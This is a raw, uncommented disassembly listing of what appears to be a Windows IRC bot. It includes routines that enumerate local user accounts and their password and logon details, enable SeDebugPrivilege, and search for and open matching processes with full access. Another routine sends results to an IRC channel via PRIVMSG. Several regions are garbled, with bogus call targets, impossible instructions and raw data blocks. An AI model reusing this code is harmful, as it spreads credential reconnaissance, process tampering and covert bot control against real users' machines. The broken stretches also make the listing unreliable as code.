loc_418FEE: ; CODE XREF: sub_418FAC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419002
push [ebp+arg_8]
push ebx
push edi
call sub_419077
add esp, 0Ch
jmp short loc_419005
; ---------------------------------------------------------------------------
loc_419002: ; CODE XREF: sub_418FAC+45j
push 57h
pop eax
loc_419005: ; CODE XREF: sub_418FAC+35j
; sub_418FAC+40j ...
cmp eax, edi
jnz short loc_419029
loc_419009: ; CODE XREF: sub_418FAC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DDA38
push ds:off_43B61C[eax*4]
push offset unk_43BDD8
push esi
call sub_41BA76
add esp, 10h
jmp short loc_419070
; ---------------------------------------------------------------------------
loc_419029: ; CODE XREF: sub_418FAC+5Bj
push eax
call sub_419636
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DDA38
push ds:off_43B618[eax*4]
push offset unk_43BDA8
push esi
call sub_41BA76
add esp, 18h
jmp short loc_419070
; ---------------------------------------------------------------------------
loc_419050: ; CODE XREF: sub_418FAC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DDA38
lea eax, [eax+eax*2]
push ds:off_43B618[eax*4]
push offset unk_43BD80
push esi
call sub_41BA76
add esp, 0Ch
loc_419070: ; CODE XREF: sub_418FAC+7Bj
; sub_418FAC+A2j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_418FAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419077 proc near ; CODE XREF: sub_418FAC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_418E27
push [ebp+arg_4]
mov edi, eax
call sub_418E27
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_418E27
add esp, 0Ch
and [ebp+var_14], 0
and [ebp+var_10], 0
and [ebp+var_8], 0
lea ecx, [ebp+var_4]
mov [ebp+var_20], eax
xor eax, eax
push ecx
lea ecx, [ebp+var_24]
inc eax
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call ds:dword_4CDAD0
pop edi
leave
retn
sub_419077 endp
; =============== S U B R O U T I N E =======================================
sub_4190D1 proc near ; CODE XREF: sub_418FAC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418E27
push [esp+8+arg_4]
mov esi, eax
call sub_418E27
pop ecx
pop ecx
push eax
push esi
call ds:dword_4CDAC0
pop esi
retn
sub_4190D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190F2 proc near ; CODE XREF: sub_418FAC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_418E27
push [ebp+arg_4]
mov esi, eax
call sub_418E27
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call ds:dword_4CDC50
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41947F
mov eax, [ebp+var_4]
test eax, eax
jz loc_4194BA
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41BA76
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
mov eax, [eax+10h]
sub eax, 0
jz short loc_41920B
dec eax
jz short loc_419204
dec eax
jz short loc_4191FD
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419210
; ---------------------------------------------------------------------------
loc_4191FD: ; CODE XREF: sub_4190F2+102j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419210
; ---------------------------------------------------------------------------
loc_419204: ; CODE XREF: sub_4190F2+FFj
mov eax, offset aUser_1 ; "User"
jmp short loc_419210
; ---------------------------------------------------------------------------
loc_41920B: ; CODE XREF: sub_4190F2+FCj
mov eax, offset aGuest ; "Guest"
loc_419210: ; CODE XREF: sub_4190F2+109j
; sub_4190F2+110j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
mov eax, [ebp+var_4]
add esp, 40h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409966
add esp, 20h
pop edi
pop ebx
jmp short loc_4194AB
; ---------------------------------------------------------------------------
loc_41947F: ; CODE XREF: sub_4190F2+35j
push eax
lea eax, [ebp+var_204]
push offset unk_43BDF8
push eax
call sub_41BA76
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409966
add esp, 20h
loc_4194AB: ; CODE XREF: sub_4190F2+38Bj
cmp [ebp+var_4], 0
jz short loc_4194BA
push [ebp+var_4]
call ds:dword_4CDC88
loc_4194BA: ; CODE XREF: sub_4190F2+40j
; sub_4190F2+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4190F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4194C0 proc near ; CODE XREF: seg000:0040618Ep
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_418E27
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 18h
loc_4194FF: ; CODE XREF: sub_4194C0+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call ds:dword_4CDB58
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_419560
cmp eax, 0EAh
jz short loc_419560
push eax
push eax
call sub_419636
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_43BFE8
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 24h
jmp short loc_4195D1
; ---------------------------------------------------------------------------
loc_419560: ; CODE XREF: sub_4194C0+62j
; sub_4194C0+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4195E4
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4195D1
loc_41956E: ; CODE XREF: sub_4194C0+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_4195AD
push dword ptr [edi]
push offset aS_6 ; " %S"
push eax
call sub_41BA76
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41956E
jmp short loc_4195D1
; ---------------------------------------------------------------------------
loc_4195AD: ; CODE XREF: sub_4194C0+B6j
push offset unk_43BFB4
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 1Ch
loc_4195D1: ; CODE XREF: sub_4194C0+9Ej
; sub_4194C0+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4195E4
push edi
call ds:dword_4CDC88
xor edi, edi
mov [ebp+var_4], edi
loc_4195E4: ; CODE XREF: sub_4194C0+A5j
; sub_4194C0+116j
cmp [ebp+var_C], 0EAh
jz loc_4194FF
cmp edi, esi
jz short loc_4195FC
push edi
call ds:dword_4CDC88
loc_4195FC: ; CODE XREF: sub_4194C0+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41BA76
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4194C0 endp
; =============== S U B R O U T I N E =======================================
sub_419636 proc near ; CODE XREF: sub_418C96+41p
; sub_418E8B+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_4196E8
jz loc_4196E1
cmp eax, 7Bh
ja short loc_4196AD
jz short loc_4196A3
cmp eax, 5
jz short loc_419699
cmp eax, 8
jz short loc_41968F
cmp eax, 32h
jz short loc_419685
cmp eax, 35h
jz short loc_41967B
cmp eax, 57h
jnz loc_419737
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_41967B: ; CODE XREF: sub_419636+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_419685: ; CODE XREF: sub_419636+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_41968F: ; CODE XREF: sub_419636+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_419699: ; CODE XREF: sub_419636+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_4196A3: ; CODE XREF: sub_419636+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_4196AD: ; CODE XREF: sub_419636+1Aj
sub eax, 7Ch
jz short loc_4196DA
sub eax, 7C8h
jz short loc_4196D3
dec eax
jz short loc_4196C9
dec eax
jnz short loc_419737
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_4196C9: ; CODE XREF: sub_419636+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419758
; ---------------------------------------------------------------------------
loc_4196D3: ; CODE XREF: sub_419636+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_4196DA: ; CODE XREF: sub_419636+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_4196E1: ; CODE XREF: sub_419636+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_4196E8: ; CODE XREF: sub_419636+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419721
jz short loc_41971A
sub eax, 8ADh
jz short loc_41974C
dec eax
dec eax
jz short loc_419713
dec eax
jz short loc_41970C
dec eax
dec eax
jnz short loc_419737
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_41970C: ; CODE XREF: sub_419636+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_419713: ; CODE XREF: sub_419636+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_41971A: ; CODE XREF: sub_419636+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_419721: ; CODE XREF: sub_419636+B9j
sub eax, 8CAh
jz short loc_419753
sub eax, 17h
jz short loc_41974C
sub eax, 25h
jz short loc_419745
sub eax, 29h
jz short loc_41973E
loc_419737: ; CODE XREF: sub_419636+35j
; sub_419636+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_41973E: ; CODE XREF: sub_419636+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_419745: ; CODE XREF: sub_419636+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_41974C: ; CODE XREF: sub_419636+C2j
; sub_419636+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419758
; ---------------------------------------------------------------------------
loc_419753: ; CODE XREF: sub_419636+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419758: ; CODE XREF: sub_419636+40j
; sub_419636+4Aj ...
push offset dword_4DD7D0
call sub_41BA76
pop ecx
mov eax, offset dword_4DD7D0
pop ecx
retn
sub_419636 endp
; ---------------------------------------------------------------------------
loc_41976A: ; CODE XREF: seg000:004061D4p
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push dword ptr [ebp+8]
lea eax, [ebp-718h]
push eax
call sub_41DA54
add esp, 0Ch
lea eax, [ebp+8]
mov esi, 108h
push eax
lea eax, [ebp-108h]
push eax
mov [ebp+8], esi
call near ptr 0B10000h
mov ecx, 0FEF8858Dh
; ---------------------------------------------------------------------------
dd 5056FFFFh, 0FCE8858Dh, 0E850FFFFh, 429Ch, 0F8E8858Dh
dd 0E850FFFFh, 4273h, 310C483h, 858D50C0h, 0FFFFF8E8h
dd 0E8858D50h, 6AFFFFFCh, 6A5000h, 0DC0815FFh, 0C085004Ch
dd 0C8BE1475h, 68004DD5h, 43C324h, 2280E856h, 59590000h
dd 8D8D29EBh, 0FFFFF8E8h, 0E88D8D51h, 51FFFFFCh, 0FE28E850h
dd 0BE59FFFFh, 4DD5C8h, 0C2F86850h, 0E8560043h, 2256h
dd 8B14C483h, 0C3C95EC6h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419828 proc near ; CODE XREF: sub_416F7D+45p
; sub_416F7D+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 0B10000h
adc dl, [eax-1]
adc eax, offset dword_4CDBDC
test eax, eax
jnz short loc_419847
leave
retn
; ---------------------------------------------------------------------------
loc_419847: ; CODE XREF: sub_419828+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call ds:dword_4CDBB4 ; LookupPrivilegeValueA
test eax, eax
jz short loc_419885
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_41986E
or [ebp+var_8], 2
jmp short loc_419872
; ---------------------------------------------------------------------------
loc_41986E: ; CODE XREF: sub_419828+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419872: ; CODE XREF: sub_419828+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call ds:dword_4CDC64 ; AdjustTokenPrivileges
mov esi, eax
loc_419885: ; CODE XREF: sub_419828+32j
push [ebp+var_4]
call ds:dword_42806C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_419828 endp
; ---------------------------------------------------------------------------
loc_419893: ; CODE XREF: seg000:0040933Ep
; sub_419AB6+74p
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp ds:dword_4CDC18, ebx
lea edi, [ebp-128h]
mov [ebp-12Ch], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp-34Ch]
mov [ebp-350h], ebx
rep stosd
jz loc_419A82
cmp ds:dword_4CDBFC, ebx
jz loc_419A82
cmp ds:dword_4CDB0C, ebx
jz loc_419A82
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419828
pop ecx
pop ecx
push ebx
push 0Fh
call ds:dword_4CDC18 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-4], edi
jz loc_419A75
lea eax, [ebp-12Ch]
mov dword ptr [ebp-12Ch], 128h
push eax
push edi
call ds:dword_4CDBFC ; Process32First
mov esi, ds:dword_42806C
test eax, eax
jz loc_419A70
lea eax, [ebp-12Ch]
push eax
push edi
call ds:dword_4CDB0C ; Process32Next
test eax, eax
jz loc_419A70
mov ebx, ds:dword_428084
loc_419952: ; CODE XREF: seg000:00419A68j
xor edi, edi
cmp [ebp+18h], edi
jz short loc_4199AF
loc_419959: ; CODE XREF: seg000:00419976j
push ds:off_43C358[edi]
lea eax, [ebp-108h]
push eax
call ds:dword_428188 ; lstrcmpi
test eax, eax
jz short loc_41997D
add edi, 4
cmp edi, 60h
jb short loc_419959
jmp loc_419A56
; ---------------------------------------------------------------------------
loc_41997D: ; CODE XREF: seg000:0041996Ej
push dword ptr [ebp-124h]
push 0
push 1F0FFFh
call ebx ; OpenProcess
mov edi, eax
test edi, edi
jz loc_419A56
push 0
push edi
call near ptr 0B10000h
mov esp, 850FC085h
scasd
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_4199A7: ; CODE XREF: seg000:00419A3Cj
push edi
call esi ; CloseHandle
jmp loc_419A56
; ---------------------------------------------------------------------------
loc_4199AF: ; CODE XREF: seg000:00419957j
cmp [ebp+14h], edi
jnz loc_419A41
cmp [ebp+0Ch], edi
jz loc_419A56
push dword ptr [ebp-124h]
push 8
call ds:dword_4CDC18 ; CreateToolhelp32Snapshot
cmp dword ptr [ebp+1Ch], 0
mov edi, eax
mov dword ptr [ebp-350h], 224h
jz short loc_419A01
lea eax, [ebp-350h]
push eax
push edi
call ds:dword_4CDAB8 ; Module32First
push dword ptr [ebp-124h]
test eax, eax
jz short loc_419A07
lea eax, [ebp-230h]
jmp short loc_419A0D
; ---------------------------------------------------------------------------
loc_419A01: ; CODE XREF: seg000:004199DFj
push dword ptr [ebp-124h]
loc_419A07: ; CODE XREF: seg000:004199F7j
lea eax, [ebp-108h]
loc_419A0D: ; CODE XREF: seg000:004199FFj
push eax
lea eax, [ebp-550h]
push offset dword_43C504
push eax
call sub_41BA76
add esp, 10h
lea eax, [ebp-550h]
push 1
push dword ptr [ebp+10h]
push eax
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_409966
add esp, 14h
jmp loc_4199A7
; ---------------------------------------------------------------------------
loc_419A41: ; CODE XREF: seg000:004199B2j
push dword ptr [ebp+14h]
lea eax, [ebp-108h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_419A89
loc_419A56: ; CODE XREF: seg000:00419978j
; seg000:00419990j ...
lea eax, [ebp-12Ch]
push eax
push dword ptr [ebp-4]
call ds:dword_4CDB0C ; Process32Next
test eax, eax
jnz loc_419952
xor ebx, ebx
loc_419A70: ; CODE XREF: seg000:00419930j
; seg000:00419946j
push dword ptr [ebp-4]
call esi ; CloseHandle
loc_419A75: ; CODE XREF: seg000:0041990Aj
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419828
pop ecx
pop ecx
loc_419A82: ; CODE XREF: seg000:004198CDj
; seg000:004198D9j ...
xor eax, eax
loc_419A84: ; CODE XREF: seg000:00419AB4j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: seg000:00419A54j
push dword ptr [ebp-124h]
push 0
push 1F0FFFh
call ebx ; OpenProcess
push dword ptr [ebp-4]
mov edi, eax
call esi ; CloseHandle
push 0
push edi
call near ptr 0B10000h
xchg al, [ebp+570575C0h]
call esi ; CloseHandle
jmp short loc_419A82
; ---------------------------------------------------------------------------
xor eax, eax
inc eax
jmp short loc_419A84
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AB6 proc near ; DATA XREF: seg000:00404187o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43C558
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41BA76
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419B15
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409966
add esp, 14h
loc_419B15: ; CODE XREF: sub_419AB6+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call loc_419893
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_419B43
push offset unk_43C534
jmp short loc_419B48
; ---------------------------------------------------------------------------
loc_419B43: ; CODE XREF: sub_419AB6+84j
push offset unk_43C510
loc_419B48: ; CODE XREF: sub_419AB6+8Bj
push eax
call sub_41BA76
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419B75
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409966
add esp, 14h
loc_419B75: ; CODE XREF: sub_419AB6+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4152AE
push [ebp+var_14]
call sub_40B287
pop ecx
pop ecx
push esi
call near ptr 0B10000h
scasd
pop edi
pop esi
sub_419AB6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419B94 proc far ; CODE XREF: seg000:004092DCp
; sub_40B0AC+4Dp
push esi
push edi
push dword ptr [esp+0Ch]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call near ptr 0B10000h
retf 0F08Bh
sub_419B94 endp
; ---------------------------------------------------------------------------
dd 1674F685h, 0E856006Ah, 6F6448h, 75C08592h, 0FF335609h
dd 806C15FFh, 0C78B0042h, 56C35E5Fh, 16AF633h, 56565656h
dd 0FCB9E856h, 0C483FFFFh, 5035FF18h, 0FF0043C3h, 42806415h
db 0, 0EBh, 0E3h
; =============== S U B R O U T I N E =======================================
sub_419BEB proc near ; CODE XREF: seg000:00419CD1p
; seg000:00419E3Bp
mov eax, ds:dword_4DDE3C
push esi
mov esi, ds:dword_42806C
cmp eax, 0FFFFFFFFh
jz short loc_419BFF
push eax
call esi ; CloseHandle
loc_419BFF: ; CODE XREF: sub_419BEB+Fj
mov eax, ds:dword_4DDE44
cmp eax, 0FFFFFFFFh
jz short loc_419C0C
push eax
call esi ; CloseHandle
loc_419C0C: ; CODE XREF: sub_419BEB+1Cj
mov eax, ds:dword_4DDE38
cmp eax, 0FFFFFFFFh
jz short loc_419C19
push eax
call esi ; CloseHandle
loc_419C19: ; CODE XREF: sub_419BEB+29j
pop esi
retn
sub_419BEB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C1B proc near ; CODE XREF: seg000:00409016p
var_17F68A40 = dword ptr -17F68A40h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B1D0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push ds:dword_4DDE40
call near ptr 0B10000h
sbb eax, [ebp+var_17F68A40]
mov eax, ds:33FFFFFFh
ror cl, 0C3h
xor eax, eax
inc eax
leave
retn
sub_419C1B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43FDB4
push dword ptr [ebp+0Ch]
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_419C96
push 7D0h
call ds:dword_428064 ; Sleep
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push dword ptr [ebp+0Ch]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41BA76
add esp, 10h
jmp short loc_419CAD
; ---------------------------------------------------------------------------
loc_419C96: ; CODE XREF: seg000:00419C6Dj
push dword ptr [ebp+10h]
lea eax, [ebp-200h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
add esp, 0Ch
loc_419CAD: ; CODE XREF: seg000:00419C94j
lea eax, [ebp-200h]
push 0
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp-200h]
push eax
push dword ptr [ebp+8]
call ds:dword_4CDC48 ; send
test eax, eax
jg short loc_419CD6
call sub_419BEB
loc_419CD6: ; CODE XREF: seg000:00419CCFj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DDE48
push esi
lea eax, [ebp-20Ch]
push edi
push eax
call sub_41B780
